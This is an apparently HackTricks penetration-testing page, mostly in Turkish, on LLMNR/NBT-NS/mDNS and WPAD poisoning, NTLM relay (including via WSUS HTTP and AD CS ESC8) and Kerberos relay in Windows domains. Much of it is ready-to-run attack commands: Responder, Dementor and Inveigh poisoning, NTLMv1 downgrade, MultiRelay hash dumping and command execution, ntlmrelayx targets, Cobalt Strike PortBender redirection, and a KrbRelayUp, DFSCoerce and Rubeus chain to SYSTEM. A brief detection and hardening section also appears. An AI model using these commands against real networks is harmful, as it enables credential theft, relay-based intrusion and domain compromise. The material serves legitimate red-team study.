Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Reading time: 14 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın:
HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Network Protocols
Local Host Resolution Protocols
- LLMNR, NBT-NS, and mDNS:
- Microsoft ve diğer işletim sistemleri DNS başarısız olduğunda yerel ad çözümlemesi için LLMNR ve NBT-NS kullanır. Benzer şekilde, Apple ve Linux sistemleri mDNS kullanır.
- Bu protokoller, UDP üzerinden kimlik doğrulamasız ve broadcast doğaları nedeniyle ele geçirilmeye ve taklit edilmeye açıktır.
- [Responder] ve [Dementor] hizmetleri, bu protokolleri sorgulayan hostlara sahte yanıtlar göndererek servisleri taklit etmek için kullanılabilir.
- Responder kullanarak servis taklidi hakkında daha fazla bilgi here bulunabilir.
Web Proxy Auto-Discovery Protocol (WPAD)
- WPAD, tarayıcıların proxy ayarlarını otomatik olarak keşfetmesine imkan tanır.
- Keşif DHCP, DNS aracılığıyla veya DNS başarısız olursa LLMNR ve NBT-NS'ye fallback ile sağlanır.
- Responder, istemcileri kötü amaçlı WPAD sunucularına yönlendirerek WPAD saldırılarını otomatikleştirebilir.
Responder/Dementor for Protocol Poisoning
-
Responder, LLMNR, NBT-NS ve mDNS sorgularını zehirlemek için kullanılan bir araçtır; sorgu türlerine göre seçici yanıt vererek öncelikle SMB servislerini hedefler.
-
Kali Linux'ta önceden yüklü gelir,
/etc/responder/Responder.confüzerinde yapılandırılabilir. -
Responder yakalanan hashleri ekranda gösterir ve bunları
/usr/share/responder/logsdizininde kaydeder. -
Hem IPv4 hem de IPv6'yı destekler.
-
Responder'ın Windows sürümü here mevcuttur.
-
Dementor, multicast zehirleme konularını genişletir ve ayrıca rogue servis sağlayıcı (CUPS RCE desteği dahil) olarak hareket eder
-
Genel yapı Responder ile benzerdir ancak daha ayrıntılı yapılandırma sunar. (varsayılan burada: Dementor.toml)
-
Dementor ve Responder arasındaki uyumluluk burada verilmiştir: Compatibility Matrix
-
Tanıtım ve Dokümantasyon burada: Dementor - Docs
-
Belirli protokollerde Responder tarafından ortaya çıkan yakalama sorunlarını düzeltir
Running Responder
- Responder'ı varsayılan ayarlarla çalıştırmak için:
responder -I <Interface> - Daha agresif sorgulama için (potansiyel yan etkilerle):
responder -I <Interface> -P -r -v - Kolay kırma için NTLMv1 challenge/response yakalamaya yönelik teknikler:
responder -I <Interface> --lm --disable-ess - WPAD taklidi şu komutla etkinleştirilebilir:
responder -I <Interface> --wpad - NetBIOS istekleri saldırganın IP'sine çözülebilir ve bir kimlik doğrulama proxy'si kurulabilir:
responder.py -I <interface> -Pv
Running Dementor
- Varsayılan ayarlarla:
Dementor -I <interface> - Analiz modunda varsayılan ayarlarla:
Dementor -I <interface> -A - Otomatik NTLM oturum düşürme (ESS):
Dementor -I <interface> -O NTLM.ExtendedSessionSecurity=Off - Geçerli oturumu özel konfig ile çalıştırmak:
Dementor -I <interface> --config <file.toml>
DHCP Poisoning with Responder
- Sahte DHCP yanıtları göndermek, kurbanın yönlendirme bilgilerini kalıcı olarak zehirleyebilir ve ARP zehirlemeye göre daha gizli bir alternatif sunar.
- Hedef ağın konfigürasyonuna dair kesin bilgi gerektirir.
- Saldırıyı çalıştırmak:
./Responder.py -I eth0 -Pdv - Bu yöntem NTLMv1/2 hashlerini etkili biçimde yakalayabilir, ancak ağ kesintisini önlemek için dikkatli kullanım gerektirir.
Capturing Credentials with Responder/Dementor
- Responder/Dementor, yukarıda bahsedilen protokoller aracılığıyla servisleri taklit ederek kullanıcılar sahte servislere doğrulanmaya çalıştığında kimlik bilgilerini (genellikle NTLMv2 Challenge/Response) yakalar.
- Kolay kırma için NetNTLMv1'e düşürme veya ESS'i devre dışı bırakma girişimlerinde bulunulabilir.
Bu tekniklerin kullanımı yasal ve etik sınırlar içinde, uygun yetkilendirme sağlanarak ve yetkisiz erişim veya hizmet kesintisinden kaçınılarak gerçekleştirilmelidir.
Inveigh
Inveigh, Windows sistemleri için tasarlanmış bir penetration tester ve red team aracı olarak işlev görür. Responder ile benzer işlevsellikler sunar; spoofing ve man-in-the-middle saldırıları gerçekleştirir. Araç bir PowerShell betiğinden C# binary'sine evrilmiştir; ana sürümler [Inveigh] ve [InveighZero] şeklindedir. Detaylı parametreler ve talimatlar wiki üzerinde bulunabilir.
Inveigh PowerShell üzerinden çalıştırılabilir:
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
Veya bir C# binary olarak çalıştırıldığında:
Inveigh.exe
NTLM Relay Attack
Bu saldırı, SMB authentication sessions kullanarak hedef makineye erişim sağlar; başarılı olunursa system shell elde edilir. Temel gereksinimler şunlardır:
- Kimlik doğrulaması yapan kullanıcı, yönlendirilen host üzerinde Local Admin erişimine sahip olmalıdır.
- SMB signing devre dışı bırakılmalıdır.
445 Port Forwarding and Tunneling
Doğrudan ağa giriş mümkün olmadığında, 445 numaralı porttaki trafik yönlendirilip tünellenmelidir. PortBender gibi araçlar, 445 trafiğini başka bir porta yönlendirmenize yardımcı olur; bu, driver yükleme için Local Admin erişimi mevcut olduğunda gereklidir.
PortBender kurulumu ve Cobalt Strike içinde çalıştırılması:
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
NTLM Relay Attack için Diğer Araçlar
- Metasploit: proxies ile, yerel ve uzak host bilgileriyle yapılandırılır.
- smbrelayx: SMB oturumlarını relay etmek ve komut çalıştırmak veya backdoor dağıtmak için bir Python scriptidir.
- MultiRelay: Responder suite'inin bir aracı olup belirli kullanıcıları veya tüm kullanıcıları relay etmek, komut çalıştırmak veya hashes dump etmek için kullanılır.
Gerekirse her araç bir SOCKS proxy üzerinden çalışacak şekilde yapılandırılabilir; bu, dolaylı ağ erişimi olsa bile saldırılara imkan tanır.
MultiRelay İşleyişi
MultiRelay /usr/share/responder/tools dizininden çalıştırılır; belirli IP'leri veya kullanıcıları hedefler.
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
Bu araçlar ve teknikler çeşitli ağ ortamlarında NTLM Relay saldırıları yürütmek için kapsamlı bir set oluşturur.
WSUS HTTP (8530) kullanılarak NTLM Relay ile LDAP/SMB/AD CS (ESC8) kötüye kullanımı
WSUS istemcileri update sunucularına NTLM üzerinden HTTP (8530) veya HTTPS (8531) ile kimlik doğrular. HTTP etkin olduğunda, periyodik istemci kontrolü yerel segmentte zorlanabilir veya yakalanıp ntlmrelayx ile LDAP/LDAPS/SMB veya AD CS HTTP uç noktalarına (ESC8) kırılmış hash olmadan relay edilebilir. Bu normal update trafiğine karışır ve sıklıkla makine-hesabı kimlik doğrulamaları (HOST$) verir.
Nelere bakmalı
- GPO/registry yapılandırması altında HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate ve ...\WindowsUpdate\AU:
- WUServer (ör. http://wsus.domain.local:8530)
- WUStatusServer (raporlama URL'si)
- UseWUServer (1 = WSUS; 0 = Microsoft Update)
- DetectionFrequencyEnabled ve DetectionFrequency (saat)
- İstemcilerin HTTP üzerinden kullandığı WSUS SOAP uç noktaları:
- /ClientWebService/client.asmx (approvals)
- /ReportingWebService/reportingwebservice.asmx (status)
- Varsayılan portlar: 8530/tcp HTTP, 8531/tcp HTTPS
Keşif
- Yetkisiz
- Dinleyiciler için tarama: nmap -sSVC -Pn --open -p 8530,8531 -iL
- L2 MITM ile HTTP WSUS trafiğini sniff'leyin ve aktif istemcileri/uç noktaları wsusniff.py ile loglayın (yalnızca HTTP; istemcileri TLS sertifikanıza güvenecek şekilde ayarlayamazsanız).
- Kimlik doğrulamalı
- SYSVOL GPO'larını MANSPIDER + regpol ile WSUS anahtarları için parse edin (wsuspider.sh wrapper WUServer/WUStatusServer/UseWUServer'ı özetler).
- Hostlardan ölçekli olarak veya yerel olarak uç noktaları sorgulayın (NetExec):
nxc smb
-u -p -M reg-query -o PATH="HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" KEY="WUServer" reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
Uçtan uca HTTP relay adımları
-
MITM pozisyonu alın (aynı L2) ki bir istemci WSUS sunucusunu size çözsün (ARP/DNS poisoning, Bettercap, mitm6, vb.). arpspoof ile örnek: arpspoof -i
-t <wsus_client_ip> <wsus_server_ip> -
Port 8530'ı relay dinleyicinize yönlendirin (isteğe bağlı, kullanışlı): iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530 iptables -t nat -L PREROUTING --line-numbers
-
HTTP dinleyicisi ile ntlmrelayx'i başlatın (HTTP dinleyici için Impacket desteği gerekir; aşağıdaki PR'lere bakın): ntlmrelayx.py -t ldap://
-smb2support -socks --keep-relaying --http-port 8530
Diğer yaygın hedefler:
- SMB'ye relay (signing kapalıysa) exec/dump için: -t smb://
- LDAPS'e relay ile dizin değişiklikleri için (ör. RBCD): -t ldaps://
- AD CS web enrollment'a (ESC8) relay ederek sertifika basmak ve sonra Schannel/PKINIT ile kimlik doğrulamak:
ntlmrelayx.py --http-port 8530 -t http://
/certsrv/certfnsh.asp --adcs --no-http-server Daha derin AD CS kötüye kullanım yolları ve araçlar için AD CS sayfasına bakın:
-
Bir istemci check-in tetikleyin veya zamanlamayı bekleyin. Bir istemciden: wuauclt.exe /detectnow veya Windows Update UI'ını kullanın (Check for updates).
-
Kimlik doğrulanmış SOCKS oturumlarını kullanın (eğer -socks ile başlattıysanız) veya doğrudan relay sonuçlarını post-exploitation için kullanın (LDAP değişiklikleri, SMB işlemleri veya daha sonra kimlik doğrulama için AD CS sertifika verilmesi).
HTTPS kısıtlaması (8531)
- WSUS'un HTTPS üzerinden pasif olarak yakalanması, istemciler sertifikanıza güvenmedikçe etkisizdir. Güvenilen bir sertifika veya başka bir TLS kırma yöntemi olmadan, WSUS HTTPS trafiğinden NTLM el sıkışması toplanamaz/relay edilemez.
Notlar
- WSUS kullanımdan kalkacağı duyuruldu ancak hâlâ geniş şekilde dağıtılmış durumda; HTTP (8530) birçok ortamda hâlen yaygındır.
- Yararlı yardımcılar: wsusniff.py (HTTP WSUS check-in'lerini gözlemleme), wsuspider.sh (GPO'lardan WUServer/WUStatusServer'ı enumerate etme), NetExec reg-query ile ölçekli sorgu.
- Impacket, ntlmrelayx için HTTP dinleyici desteğini PR #2034 ile geri ekledi (ilk olarak PR #913'te eklenmişti).
NTLM Oturumlarını Zorlama
Windows'ta bazı ayrıcalıklı hesapları rastgele makinelere kimlik doğrulamaya zorlayabilirsiniz. Nasıl yapılacağını öğrenmek için aşağıdaki sayfayı okuyun:
Force NTLM Privileged Authentication
Kerberos Relay attack
A Kerberos relay attack, bir servisten bir AP-REQ ticket çalar ve aynı computer-account key'i paylaşan ikinci bir servise tekrar kullanır (çünkü her iki SPN aynı $ makine hesabında bulunur). Bu, SPN'lerin service classes farklı olsa bile (örn. CIFS/ → LDAP/) işe yarar çünkü biletin şifresini çözen anahtar, makinenin NT hash'i olup SPN stringi kendisi değil ve SPN stringi imzanın parçası değildir.
NTLM relay'in aksine, atlama aynı host ile sınırlıdır fakat eğer LDAP'a yazmanıza izin veren bir protokolü hedeflerseniz, bunu Resource-Based Constrained Delegation (RBCD) veya AD CS enrollment zincirine bağlayabilir ve tek seferde NT AUTHORITY\SYSTEM elde edebilirsiniz.
Bu saldırı hakkında detaylı bilgi için bakın:
-
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
-
https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/
-
- Kerberos temelleri
| Token | Amaç | Relay ile ilişkisi |
|---|---|---|
| TGT / AS-REQ ↔ REP | Kullanıcıyı KDC'ye kanıtlar | değişmeden |
| Service ticket / TGS-REQ ↔ REP | Bir SPN'ye bağlı; SPN sahibinin anahtarı ile şifrelenir | SPN'ler aynı hesabı paylaşırsa birbirinin yerine kullanılabilir |
| AP-REQ | İstemci TGS'yi servise gönderir | çalıp yeniden oynattığımız şey |
- Biletler, SPN'ye sahip olan hesabın şifreden türetilmiş anahtarı ile şifrelenir.
- AP-REQ içindeki Authenticator 5 dakikalık bir zaman damgasına sahiptir; bu pencere içinde yeniden oynatma, servis cache'i bir kopyayı görene kadar geçerlidir.
- Windows nadiren bilet içindeki SPN stringinin vurduğunuz servis ile eşleşip eşleşmediğini kontrol eder; bu yüzden
CIFS/HOSTiçin bir bilet genellikleLDAP/HOSTüzerinde düzgün şekilde deşifre edilir.
-
- Kerberos relay için olması gerekenler
- Shared key: kaynak ve hedef SPN'ler aynı bilgisayar hesabına ait olmalı (Windows sunucularında varsayılan).
- No channel protection: SMB/LDAP signing kapalı ve HTTP/LDAPS için EPA kapalı olmalı.
- You can intercept or coerce authentication: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, vb.
- Ticket source not already used: gerçek paket gelmeden önce yarışı kazanmalı veya tamamen engellemelisiniz; aksi takdirde sunucunun replay cache'i Event 4649 tetikler.
- MitM in the communication yapabilmelisiniz — örneğin domain DNS'ini değiştirmek için DNSAmins grubunun üyesi olmak veya mağdurun HOST dosyasını değiştirebilmek gibi.
Kerberos Relay Steps
- 3.1 Host'u keşfet
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
- 3.2 relay listener'ı başlatın
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
KrbRelayUp, KrbRelay → LDAP → RBCD → Rubeus → SCM bypass'ı tek bir binary'de birleştirir.
- 3.3 Coerce Kerberos auth
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
DFSCoerce, DC'nin bize bir Kerberos CIFS/DC01 bileti göndermesini sağlar.
- 3.4 Relay the AP-REQ
KrbRelay, GSS blob'unu SMB'den çıkarır, bunu bir LDAP bind içine yeniden paketler ve ldap://DC01'e iletir—kimlik doğrulama başarılı olur çünkü aynı anahtar bunu çözer.
- 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
Artık NT AUTHORITY\SYSTEM'e sahipsiniz.
Bilmeniz Gereken Diğer Yollar
| Vector | Trick | Why it matters |
|---|---|---|
| AuthIP / IPSec | Sahte sunucu herhangi bir SPN ile bir GSS-ID payload gönderir; istemci doğrudan size bir AP-REQ oluşturur | Alt ağlar arasında bile çalışır; machine creds varsayılan |
| DCOM / MSRPC | Kötü amaçlı OXID resolver, istemciyi rastgele bir SPN ve porta auth olmaya zorlar | Pure local priv-esc; firewall'ı atlar |
| AD CS Web Enroll | Makine biletini HTTP/CA'ya relay et ve bir sertifika al, sonra PKINIT ile TGT'ler oluştur | LDAP signing savunmalarını atlar |
| Shadow Credentials | msDS-KeyCredentialLink yazın, sonra sahte anahtar çifti ile PKINIT yapın | Bilgisayar hesabı eklemeye gerek yok |
Sorun Giderme
| Error | Meaning | Fix |
|---|---|---|
KRB_AP_ERR_MODIFIED | Ticket key ≠ target key | Yanlış host/SPN |
KRB_AP_ERR_SKEW | Clock > 5 min offset | Saati senkronize et veya w32tm kullan |
| LDAP bind fails | Signing enforced | AD CS yolunu kullan veya imzalamayı devre dışı bırak |
| Event 4649 spam | Service saw duplicate Authenticator | Orijinal paketi engelle veya orijinal paketle yarış |
Tespit
- Aynı kaynaktan saniyeler içinde
CIFS/,HTTP/,LDAP/için Event 4769'da artış. - Serviste Event 4649 olması, replay tespit edildiğini gösterir.
- 127.0.0.1 üzerinden Kerberos oturumu (local SCM'ye relay) oldukça şüphelidir — KrbRelayUp belgelerindeki Sigma kuralı ile eşle.
msDS-AllowedToActOnBehalfOfOtherIdentityveyamsDS-KeyCredentialLinközniteliklerindeki değişiklikleri izle.
Sertleştirme
- Her sunucuda LDAP & SMB signing + EPA'yı zorunlu kıl.
- SPN'leri ayır; böylece HTTP, CIFS/LDAP ile aynı hesapta olmasın.
- Coercion vektörlerini yamala (PetitPotam KB5005413, DFS, AuthIP).
- Sahte bilgisayar eklemelerini durdurmak için
ms-DS-MachineAccountQuota = 0olarak ayarla. - Event 4649 ve beklenmeyen loopback Kerberos oturumları için uyarı oluştur.
References
- https://intrinium.com/smb-relay-attack-tutorial/
- https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
- https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
- https://intrinium.com/smb-relay-attack-tutorial/
- https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
- WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)
- GoSecure – Abusing WSUS to enable NTLM relaying attacks
- Impacket PR #2034 – Restore HTTP server in ntlmrelayx
- Impacket PR #913 – HTTP relay support
- WSUScripts – wsusniff.py
- WSUScripts – wsuspider.sh
- MS-WSUSOD – Windows Server Update Services: Server-to-Client Protocol
- Microsoft – WSUS deprecation announcement
tip
AWS Hacking'i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın:
HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
HackTricks